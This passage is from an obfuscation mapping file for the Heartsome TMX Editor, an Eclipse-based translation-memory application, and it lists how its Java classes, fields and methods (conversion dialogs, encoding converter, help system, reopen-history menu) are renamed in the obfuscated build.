dispose() -> dispose + boolean isLabelProperty(java.lang.Object,java.lang.String) -> isLabelProperty + void removeListener(org.eclipse.jface.viewers.ILabelProviderListener) -> removeListener + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.te.tmxeditor.view.provider.TuPropContentProvider -> net.heartsome.cat.te.tmxeditor.view.provider.b: + void dispose() -> dispose + void inputChanged(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> inputChanged + java.lang.Object[] getElements(java.lang.Object) -> getElements +net.heartsome.cat.te.ui.Activator -> net.heartsome.cat.te.ui.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.te.ui.Activator plugin -> st + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.te.ui.Activator getDefault() -> getDefault + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.te.ui.Constants -> net.heartsome.cat.te.ui.Constants: + java.lang.String TMX_EDITOR_TEXT_FONT -> TMX_EDITOR_TEXT_FONT + char TAB_CHARACTER -> TAB_CHARACTER + char LINE_SEPARATOR_CHARACTER -> LINE_SEPARATOR_CHARACTER + char SPACE_CHARACTER -> SPACE_CHARACTER + int SEGMENT_LINE_SPACING -> SEGMENT_LINE_SPACING + int SEGMENT_TOP_MARGIN -> SEGMENT_TOP_MARGIN + int SEGMENT_BOTTOM_MARGIN -> SEGMENT_BOTTOM_MARGIN + int SEGMENT_RIGHT_MARGIN -> SEGMENT_RIGHT_MARGIN + int SEGMENT_LEFT_MARGIN -> SEGMENT_LEFT_MARGIN + java.lang.String[] arrRemove -> su + java.util.List lstRemove -> lstRemove +net.heartsome.cat.te.ui.ImageConstants -> net.heartsome.cat.te.ui.ImageConstants: + java.lang.String CHECKED -> CHECKED + java.lang.String UNCHECKED -> UNCHECKED + java.lang.String CONCORDANCE_SELECT_LANG -> CONCORDANCE_SELECT_LANG + java.lang.String PAGE_FIRST -> PAGE_FIRST + java.lang.String PAGE_PRE -> PAGE_PRE + java.lang.String PAGE_NEXT -> PAGE_NEXT + java.lang.String PAGE_LAST -> PAGE_LAST + java.lang.String TAG_ADD -> TAG_ADD + java.lang.String TAG_DELETE -> TAG_DELETE + java.lang.String ORACLE -> ORACLE + java.lang.String MYSQL -> MYSQL + java.lang.String POSTGRESQL -> POSTGRESQL + java.lang.String SQLSERVER -> SQLSERVER + java.lang.String INTERNALDB -> INTERNALDB + java.lang.String IP -> IP + java.lang.String SQLITE -> SQLITE + java.lang.String LANG_EMPTYPIC -> LANG_EMPTYPIC + java.lang.String LANG_ISBIDI -> LANG_ISBIDI + java.lang.String PREFERENCE_SYS_UPDATE -> PREFERENCE_SYS_UPDATE + java.lang.String PREFERENCE_SYS_LANGUAGE -> PREFERENCE_SYS_LANGUAGE + java.lang.String PREFERENCE_SYS_USER -> PREFERENCE_SYS_USER + java.lang.String PREFERENCE_SYS_KEY -> PREFERENCE_SYS_KEY + java.lang.String PREFERENCE_SYS_LANG_CODE -> PREFERENCE_SYS_LANG_CODE +net.heartsome.cat.te.ui.about.handler.AboutHandler -> net.heartsome.cat.te.ui.about.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.about.ui.AboutDialog -> net.heartsome.cat.te.ui.about.ui.a: + org.eclipse.swt.graphics.Image image -> image + org.eclipse.swt.graphics.Font font -> font + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + boolean close() -> close +net.heartsome.cat.te.ui.about.ui.AboutDialog$1 -> net.heartsome.cat.te.ui.about.ui.b: + net.heartsome.cat.te.ui.about.ui.AboutDialog this$0 -> sv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.about.ui.AboutDialog$2 -> net.heartsome.cat.te.ui.about.ui.c: + net.heartsome.cat.te.ui.about.ui.AboutDialog this$0 -> sv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.closetmx.CloseTmxHandler -> net.heartsome.cat.te.ui.closetmx.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.converter.handler.Convert2TmxFileHanlder -> net.heartsome.cat.te.ui.converter.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.converter.handler.TmxConvert2FileHanlder -> net.heartsome.cat.te.ui.converter.handler.b: + void doConvert(net.heartsome.cat.te.core.converter.AbstractTmx2File,net.heartsome.cat.te.core.bean.TmxConvert2FileBean) -> a + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog -> net.heartsome.cat.te.ui.converter.ui.a: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.swt.widgets.Text srcPathText -> sw + org.eclipse.swt.widgets.Button addCustomAttributeBtn -> sx + org.eclipse.swt.widgets.Text newTmxPathText -> sy + org.eclipse.swt.widgets.Text appendTmxPathText -> sz + org.eclipse.swt.custom.ScrolledComposite scroll -> nc + org.eclipse.swt.widgets.Button browserSrcFileBtn -> sA + org.eclipse.swt.widgets.Composite attributeArea -> sB + org.eclipse.swt.widgets.Button conver2NewTmxBtn -> sC + org.eclipse.swt.widgets.Button browserNewTmxPathBtn -> sD + org.eclipse.swt.widgets.Button appendExistTmxPathBtn -> sE + org.eclipse.swt.widgets.Button browserExistTmxPathBtn -> sF + org.eclipse.swt.widgets.Button isOpenBtn -> sG + net.heartsome.cat.te.core.bean.File2TmxConvertBean convertBean -> sH + net.heartsome.cat.te.core.converter.AbstractFile2Tmx file2Tmx -> sI + java.lang.String ID_MARK -> ID_MARK + org.eclipse.swt.widgets.Composite createClientArea(org.eclipse.swt.widgets.Composite) -> createClientArea + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void addLisners() -> cj + org.eclipse.swt.widgets.Composite createArributeArea(org.eclipse.swt.widgets.Composite,java.lang.String,java.lang.String) -> b + void disposeAttributeArea() -> ck + java.util.Map getCustomArributes() -> cl + void initDataState() -> cm + void setOKState() -> cn + net.heartsome.cat.te.core.bean.File2TmxConvertBean getConvertBean() -> co + net.heartsome.cat.te.core.bean.File2TmxConvertBean getConvertParams() -> cp + void run(org.eclipse.core.runtime.IProgressMonitor) -> run + void checkConvertBean(net.heartsome.cat.te.core.bean.File2TmxConvertBean) -> d + void okPressed() -> okPressed + boolean close() -> close + void writeDialogSettings() -> cb + void loadDialogSettings() -> loadDialogSettings + org.eclipse.jface.dialogs.IDialogSettings getDialogSettings() -> getDialogSettings + java.lang.String[] convertMap2StrArrays() -> cq + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl + org.eclipse.swt.widgets.Composite access$0(net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog,org.eclipse.swt.widgets.Composite,java.lang.String,java.lang.String) -> a + org.eclipse.swt.custom.ScrolledComposite access$1(net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog) -> a + org.eclipse.swt.widgets.Button access$2(net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog) -> b + void access$3(net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog) -> c + org.eclipse.swt.widgets.Composite access$4(net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog) -> d + org.eclipse.swt.widgets.Text access$5(net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog) -> e + void access$6(net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog) -> f + org.eclipse.swt.widgets.Button access$7(net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog) -> g + org.eclipse.swt.widgets.Button access$8(net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog) -> h + org.eclipse.swt.widgets.Text access$9(net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog) -> i + org.eclipse.swt.widgets.Text access$10(net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog) -> j + org.eclipse.swt.widgets.Button access$11(net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog) -> k + org.eclipse.swt.widgets.Button access$12(net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog) -> l + org.eclipse.swt.widgets.Button access$13(net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog) -> m +net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog$1 -> net.heartsome.cat.te.ui.converter.ui.b: + net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog this$0 -> sJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + java.lang.String getHelpUrl() -> cr +net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog$2 -> net.heartsome.cat.te.ui.converter.ui.c: + net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog this$0 -> sJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog$3 -> net.heartsome.cat.te.ui.converter.ui.d: + net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog this$0 -> sJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog$4 -> net.heartsome.cat.te.ui.converter.ui.e: + net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog this$0 -> sJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog$5 -> net.heartsome.cat.te.ui.converter.ui.f: + net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog this$0 -> sJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog$6 -> net.heartsome.cat.te.ui.converter.ui.g: + net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog this$0 -> sJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog$7 -> net.heartsome.cat.te.ui.converter.ui.h: + net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog this$0 -> sJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog$8 -> net.heartsome.cat.te.ui.converter.ui.i: + net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog this$0 -> sJ + net.heartsome.cat.te.core.bean.File2TmxConvertBean val$bean -> sK + void run() -> run +net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog$9 -> net.heartsome.cat.te.ui.converter.ui.j: + net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog this$0 -> sJ + boolean[] val$r -> sL + java.io.File val$fileTemp -> sM + void run() -> run +net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog$AddArributeCommand -> net.heartsome.cat.te.ui.converter.ui.k: + org.eclipse.swt.widgets.Composite parent -> parent + net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog this$0 -> sJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog$DeleteAttibuteCommand -> net.heartsome.cat.te.ui.converter.ui.l: + org.eclipse.swt.widgets.Composite parent -> parent + net.heartsome.cat.te.ui.converter.ui.Convert2TmxDialog this$0 -> sJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog -> net.heartsome.cat.te.ui.converter.ui.m: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String FILETYPECOMBO_INDEX -> sN + java.lang.String PROPERTYCHECKBTN_ENABLE -> sO + java.lang.String PROPERTYCHECKBTN_SELECT -> sP + java.lang.String SRCBTN_ENABLE -> sQ + java.lang.String SRCBTN_SELECT -> sR + java.lang.String SAVEASBTN_ENABLE -> sS + java.lang.String SAVEASBTN_SELECT -> sT + org.eclipse.swt.widgets.List tmxList -> sU + org.eclipse.swt.widgets.Button addTmxBtn -> sV + org.eclipse.swt.widgets.Button removeTmxBtn -> sW + org.eclipse.swt.widgets.Combo fileTypeCombo -> sX + org.eclipse.swt.widgets.Button propertyCheckBtn -> sY + org.eclipse.swt.widgets.Button srcBtn -> sZ + org.eclipse.swt.widgets.Button saveAsBtn -> ta + org.eclipse.swt.widgets.Text text -> text + org.eclipse.swt.widgets.Button browserBtn -> tb + java.util.Map allNames -> tc + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Composite createClientArea(org.eclipse.swt.widgets.Composite) -> createClientArea + java.lang.String getText() -> getText + void run(org.eclipse.core.runtime.IProgressMonitor) -> run + java.io.File getTargetFile(java.lang.String,net.heartsome.cat.te.core.bean.TmxConvert2FileBean,int) -> a + int getTargetNameCount(net.heartsome.cat.te.core.bean.TmxConvert2FileBean,int,java.lang.String) -> a + java.io.File getTargetFile0(java.lang.String,net.heartsome.cat.te.core.bean.TmxConvert2FileBean,int) -> b + java.lang.String checkTargetFileExits(net.heartsome.cat.te.core.bean.TmxConvert2FileBean) -> a + void setInitState() -> cs + void addListener() -> k + net.heartsome.cat.te.core.bean.TmxConvert2FileBean getCounverBean() -> ct + java.lang.String getHstmConvertPath(java.lang.String) -> ai + boolean close() -> close + void writeDialogSettings() -> cb + void loadDialogSettings() -> loadDialogSettings + org.eclipse.jface.dialogs.IDialogSettings getDialogSettings() -> getDialogSettings + void setOkState() -> cu + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl + org.eclipse.swt.widgets.List access$0(net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog) -> a + void access$1(net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog) -> b + org.eclipse.swt.widgets.Button access$2(net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog) -> c + org.eclipse.swt.widgets.Combo access$3(net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog) -> d + org.eclipse.swt.widgets.Button access$4(net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog) -> e + org.eclipse.swt.widgets.Text access$5(net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog) -> f + org.eclipse.swt.widgets.Button access$6(net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog) -> g + org.eclipse.swt.widgets.Button access$7(net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog) -> h + org.eclipse.swt.widgets.Button access$8(net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog) -> i +net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog$1 -> net.heartsome.cat.te.ui.converter.ui.n: + net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog this$0 -> td + boolean[] val$isConfirm -> te + java.lang.String val$exitsFileName -> tf + void run() -> run +net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog$2 -> net.heartsome.cat.te.ui.converter.ui.o: + net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog this$0 -> td + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog$3 -> net.heartsome.cat.te.ui.converter.ui.p: + net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog this$0 -> td + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog$4 -> net.heartsome.cat.te.ui.converter.ui.q: + net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog this$0 -> td + net.heartsome.cat.te.core.bean.TmxConvert2FileBean val$bean -> tg + void run() -> run +net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog$5 -> net.heartsome.cat.te.ui.converter.ui.r: + net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog this$0 -> td + java.util.Map val$map -> kr + void run() -> run +net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog$AddTmxFileCommand -> net.heartsome.cat.te.ui.converter.ui.s: + net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog this$0 -> td + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog$BrowserDirCommand -> net.heartsome.cat.te.ui.converter.ui.t: + net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog this$0 -> td + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog$RemoveTmxFileCommand -> net.heartsome.cat.te.ui.converter.ui.u: + net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog this$0 -> td + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog$SelectFileTypeCommand -> net.heartsome.cat.te.ui.converter.ui.v: + net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog this$0 -> td + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog$TmxListFileSelectCommand -> net.heartsome.cat.te.ui.converter.ui.w: + net.heartsome.cat.te.ui.converter.ui.TmxConvert2FileDialog this$0 -> td + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.encodingconveter.EncodingConverterDialog -> net.heartsome.cat.te.ui.encodingconveter.a: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.swt.widgets.Text srcFileText -> th + org.eclipse.swt.widgets.Text tgtFileText -> ti + org.eclipse.swt.widgets.Combo srcEndcodingCombo -> tj + org.eclipse.swt.widgets.Combo tgtEncodingComb -> tk + java.lang.String tgtFilePath -> tl + java.lang.String srcFilePath -> tm + org.eclipse.swt.widgets.Button srcFileBtn -> tn + boolean finishClose -> to + java.lang.String newFilePath -> tp + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void okPressed() -> okPressed + java.lang.String getNewFilePath() -> cv + org.eclipse.swt.widgets.Composite createClientArea(org.eclipse.swt.widgets.Composite) -> createClientArea + void initData() -> G + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + java.lang.String fileTargetFile(java.lang.String,java.lang.String) -> j + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl + void access$0(net.heartsome.cat.te.ui.encodingconveter.EncodingConverterDialog,java.lang.String) -> a + java.lang.String access$1(net.heartsome.cat.te.ui.encodingconveter.EncodingConverterDialog) -> a + java.lang.String access$2(net.heartsome.cat.te.ui.encodingconveter.EncodingConverterDialog) -> b + org.eclipse.swt.widgets.Combo access$3(net.heartsome.cat.te.ui.encodingconveter.EncodingConverterDialog) -> c + org.eclipse.swt.widgets.Text access$4(net.heartsome.cat.te.ui.encodingconveter.EncodingConverterDialog) -> d + void access$5(net.heartsome.cat.te.ui.encodingconveter.EncodingConverterDialog,java.lang.String) -> b + org.eclipse.swt.widgets.Text access$6(net.heartsome.cat.te.ui.encodingconveter.EncodingConverterDialog) -> e + void access$7(net.heartsome.cat.te.ui.encodingconveter.EncodingConverterDialog,java.lang.String) -> c +net.heartsome.cat.te.ui.encodingconveter.EncodingConverterDialog$1 -> net.heartsome.cat.te.ui.encodingconveter.b: + net.heartsome.cat.te.ui.encodingconveter.EncodingConverterDialog this$0 -> tq + java.lang.String val$srcEncoding -> tr + java.lang.String val$tgtFileEncoding -> ts + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.ui.encodingconveter.EncodingConverterDialog$2 -> net.heartsome.cat.te.ui.encodingconveter.c: + net.heartsome.cat.te.ui.encodingconveter.EncodingConverterDialog this$0 -> tq + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.encodingconveter.EncodingConverterDialog$3 -> net.heartsome.cat.te.ui.encodingconveter.d: + net.heartsome.cat.te.ui.encodingconveter.EncodingConverterDialog this$0 -> tq + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.encodingconveter.EncodingConverterHandler -> net.heartsome.cat.te.ui.encodingconveter.e: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.help.AbstractSelfHelpUI -> net.heartsome.cat.te.ui.help.a: + net.heartsome.cat.te.ui.help.AbstractSelfHelpUI instance -> tt + net.heartsome.cat.te.ui.help.AbstractSelfHelpUI getInstance() -> cw + void displayHelp() -> displayHelp + void displayContext(org.eclipse.help.IContext,int,int) -> displayContext + void displayHelpResource(java.lang.String) -> displayHelpResource + boolean isContextHelpDisplayed() -> isContextHelpDisplayed + boolean useExternalBrowser(java.lang.String) -> aj + boolean insideModalParent(org.eclipse.swt.widgets.Display) -> a + boolean isDisplayModal(org.eclipse.swt.widgets.Shell) -> isDisplayModal +net.heartsome.cat.te.ui.help.AbstractSelfHelpUI$ExternalWorkbenchBrowser -> net.heartsome.cat.te.ui.help.b: + net.heartsome.cat.te.ui.help.AbstractSelfHelpUI this$0 -> tu + org.eclipse.ui.browser.IWebBrowser getExternalBrowser() -> getExternalBrowser + void close() -> close + boolean isCloseSupported() -> isCloseSupported + void displayURL(java.lang.String) -> displayURL + boolean isSetLocationSupported() -> isSetLocationSupported + boolean isSetSizeSupported() -> isSetSizeSupported + void setLocation(int,int) -> setLocation + void setSize(int,int) -> setSize +net.heartsome.cat.te.ui.help.Activator -> net.heartsome.cat.te.ui.help.c: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.te.ui.help.Activator plugin -> tv + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.te.ui.help.Activator getDefault() -> cx +net.heartsome.cat.te.ui.help.SelfBaseHelpSystem -> net.heartsome.cat.te.ui.help.d: + net.heartsome.cat.te.ui.help.SelfBaseHelpSystem instance -> tw + java.lang.String BOOKMARKS -> BOOKMARKS + java.lang.String WORKING_SETS -> WORKING_SETS + java.lang.String WORKING_SET -> WORKING_SET + int MODE_WORKBENCH -> MODE_WORKBENCH + int MODE_INFOCENTER -> MODE_INFOCENTER + int MODE_STANDALONE -> MODE_STANDALONE + int mode -> mode + org.eclipse.help.internal.search.SearchManager searchManager -> tx + org.eclipse.help.internal.workingset.WorkingSetManager workingSetManager -> ty + org.eclipse.help.internal.base.BookmarkManager bookmarkManager -> tz + boolean webappStarted -> tA + boolean webappRunning -> tB + org.eclipse.help.internal.base.util.IErrorUtil defaultErrorMessenger -> tC + org.eclipse.help.browser.IBrowser browser -> tD + org.eclipse.help.browser.IBrowser internalBrowser -> tE + net.heartsome.cat.te.ui.help.SelfHelpDisplay helpDisplay -> tF + net.heartsome.cat.te.ui.help.SelfBaseHelpSystem getInstance() -> cy + org.eclipse.help.internal.search.SearchManager getSearchManager() -> getSearchManager + org.eclipse.help.internal.search.LocalSearchManager getLocalSearchManager() -> getLocalSearchManager + org.eclipse.help.internal.workingset.WorkingSetManager getWorkingSetManager() -> getWorkingSetManager + org.eclipse.help.internal.base.BookmarkManager getBookmarkManager() -> getBookmarkManager + void setBrowserInstance(org.eclipse.help.browser.IBrowser) -> setBrowserInstance + org.eclipse.help.browser.IBrowser getHelpBrowser(boolean) -> getHelpBrowser + net.heartsome.cat.te.ui.help.SelfHelpDisplay getHelpDisplay() -> cz + void shutdown() -> shutdown + void startup() -> startup + boolean ensureWebappRunning() -> ensureWebappRunning + java.net.URL resolve(java.lang.String,boolean) -> resolve + java.net.URL resolve(java.lang.String,java.lang.String) -> resolve + boolean isFileProtocol(java.lang.String) -> ak + java.lang.String unresolve(java.net.URL) -> unresolve + java.lang.String unresolve(java.lang.String) -> unresolve + java.lang.String getBase(boolean) -> l + java.lang.String getBase(java.lang.String) -> al + int getMode() -> getMode + void setMode(int) -> setMode + void setDefaultErrorUtil(org.eclipse.help.internal.base.util.IErrorUtil) -> setDefaultErrorUtil + org.eclipse.help.internal.base.util.IErrorUtil getDefaultErrorUtil() -> getDefaultErrorUtil + java.lang.String getProductName() -> getProductName + void runLiveHelp(java.lang.String,java.lang.String,java.lang.String) -> runLiveHelp + void checkMode() -> checkMode +net.heartsome.cat.te.ui.help.SelfBaseHelpSystem$1 -> net.heartsome.cat.te.ui.help.e: + void displayError(java.lang.String) -> displayError + void displayError(java.lang.String,java.lang.Thread) -> displayError +net.heartsome.cat.te.ui.help.SelfDisplayUtils -> net.heartsome.cat.te.ui.help.f: + java.lang.String HELP_UI_PLUGIN_ID -> HELP_UI_PLUGIN_ID + java.lang.String LOOP_CLASS_NAME -> tG + void runUI() -> cA + void wakeupUI() -> cB + void waitForDisplay() -> cC + void invoke(java.lang.String) -> am +net.heartsome.cat.te.ui.help.SelfHelpDisplay -> net.heartsome.cat.te.ui.help.g: + java.lang.String hrefOpenedFromHelpDisplay -> tH + org.eclipse.help.base.AbstractHelpDisplay helpDisplay -> tI + java.lang.String HELP_DISPLAY_EXTENSION_ID -> tJ + java.lang.String HELP_DISPLAY_CLASS_ATTRIBUTE -> tK + void displayHelp(boolean) -> displayHelp + void displayHelpResource(java.lang.String,boolean) -> displayHelpResource + void displayHelp(org.eclipse.help.IContext,org.eclipse.help.IHelpResource,boolean) -> displayHelp + void displaySearch(java.lang.String,java.lang.String,boolean) -> displaySearch + void displayHelpURL(java.lang.String,boolean) -> b + java.lang.String getBaseURL() -> cD + java.lang.String getFramesetURL() -> cE + java.lang.String getFramesetIndexURL() -> cF + java.lang.String getTopicURL(java.lang.String) -> an + java.lang.String getNoframesURL(java.lang.String) -> ao + java.lang.String getHrefOpenedFromHelpDisplay() -> getHrefOpenedFromHelpDisplay + void setHrefOpenedFromHelpDisplay(java.lang.String) -> setHrefOpenedFromHelpDisplay + void createHelpDisplay() -> cG + org.eclipse.help.base.AbstractHelpDisplay getHelpDisplay() -> cH + java.lang.String access$0() -> cI + java.lang.String access$1() -> cJ +net.heartsome.cat.te.ui.help.SelfHelpDisplay$DefaultDisplay -> net.heartsome.cat.te.ui.help.h: + java.lang.String getHelpHome(java.lang.String,int,java.lang.String) -> getHelpHome + java.lang.String getHelpForTopic(java.lang.String,java.lang.String,int) -> getHelpForTopic +net.heartsome.cat.te.ui.help.SelfHelpSystem -> net.heartsome.cat.te.ui.help.i: + boolean fShared -> tL + org.eclipse.help.IContext getContext(java.lang.String) -> getContext + org.eclipse.help.IContext getContext(java.lang.String,java.lang.String) -> getContext + org.eclipse.help.IToc[] getTocs() -> getTocs + org.eclipse.help.IIndex getIndex() -> getIndex + java.io.InputStream getHelpContent(java.lang.String) -> getHelpContent + java.io.InputStream getHelpContent(java.lang.String,java.lang.String) -> getHelpContent + boolean isShared() -> isShared + void setShared(boolean) -> setShared +net.heartsome.cat.te.ui.history.ReopenTmxEditorMenu -> net.heartsome.cat.te.ui.history.a: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistory history -> tM + boolean showSeparator -> tN + boolean dirty -> dirty + org.eclipse.jface.action.IMenuListener menuListener -> tO + int MAX_TEXT_LENGTH -> tP + int MAX_MNEMONIC_SIZE -> tQ + java.lang.String calcText(int,net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistoryItem) -> a + java.lang.String calcText(int,java.lang.String,java.lang.String,boolean) -> calcText + void fill(org.eclipse.swt.widgets.Menu,int) -> fill + boolean isDirty() -> isDirty + boolean isDynamic() -> isDynamic + void open(net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistoryItem) -> a + void access$0(net.heartsome.cat.te.ui.history.ReopenTmxEditorMenu,boolean) -> a + java.lang.String access$1(net.heartsome.cat.te.ui.history.ReopenTmxEditorMenu,int,net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistoryItem) -> a + void access$2(net.heartsome.cat.te.ui.history.ReopenTmxEditorMenu,net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistoryItem) -> a +net.heartsome.cat.te.ui.history.ReopenTmxEditorMenu$1 -> net.heartsome.cat.te.ui.history.b: + net.heartsome.cat.te.ui.history.ReopenTmxEditorMenu this$0 -> tR + void menuAboutToShow(org.eclipse.jface.action.IMenuManager) -> menuAboutToShow +net.heartsome.cat.te.ui.history.ReopenTmxEditorMenu$2 -> net.heartsome.cat.te.ui.history.c: + net.heartsome.cat.te.ui.history.ReopenTmxEditorMenu this$0 -> tR + int val$historyIndex -> tS + net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistoryItem val$item -> tT + org.eclipse.swt.widgets.Menu val$menu -> tU + int[] val$menuIndex -> tV + void run() -> run + void handleException(java.lang.Throwable) -> handleException + net.heartsome.cat.te.ui.history.ReopenTmxEditorMenu access$0(net.heartsome.cat.te.ui.history.ReopenTmxEditorMenu$2) -> a +net.heartsome.cat.te.ui.history.ReopenTmxEditorMenu$2$1 -> net.heartsome.cat.te.ui.history.d: + net.heartsome.cat.te.ui.history.ReopenTmxEditorMenu$2 this$1 -> tW + net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistoryItem val$item -> tT + 